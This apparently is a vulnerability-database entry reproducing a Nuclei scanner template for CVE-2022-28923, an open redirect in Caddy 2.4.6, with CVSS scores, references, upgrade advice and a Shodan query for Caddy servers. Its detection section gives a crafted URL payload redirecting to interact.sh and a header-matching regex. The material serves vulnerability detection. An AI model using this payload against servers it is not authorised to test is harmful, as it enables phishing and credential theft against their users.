Caddy 2.4.6 - Open Redirect

2023-02-1321:19:30

ProjectDiscovery

github.com

cve

cve2022

open redirect

caddy

webserver

caddyserver

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

AI Score

6.1

Confidence

High

EPSS

0.002

Percentile

59.5%

JSON

Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

id: CVE-2022-28923

info:
  name: Caddy 2.4.6 - Open Redirect
  author: Sascha Brendel,DhiyaneshDk
  severity: medium
  description: |
    Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: |
    Upgrade Caddy to version 2.4.7 or later to mitigate the vulnerability.
  reference:
    - https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/
    - https://www.cve.org/CVERecord?id=CVE-2022-28923
    - https://github.com/caddyserver/caddy/issues/4502
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28923
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28923
    cwe-id: CWE-601
    epss-score: 0.00772
    epss-percentile: 0.79353
    cpe: cpe:2.3:a:caddyserver:caddy:2.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: caddyserver
    product: caddy
    shodan-query:
      - 'Server: caddy'
      - "server: caddy"
  tags: cve,cve2022,redirect,caddy,webserver,caddyserver

http:
  - method: GET
    path:
      - '{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a0047304502202206e53e2fce4b694a986a8e0484dfe6bf73c907fb83bf75af62c7244047684f022100a767013ed2a0542ebf160dc45cec350a28dca3103f9f57b20371401ec7022b92:922c64590222798bb761d5b6d8e72950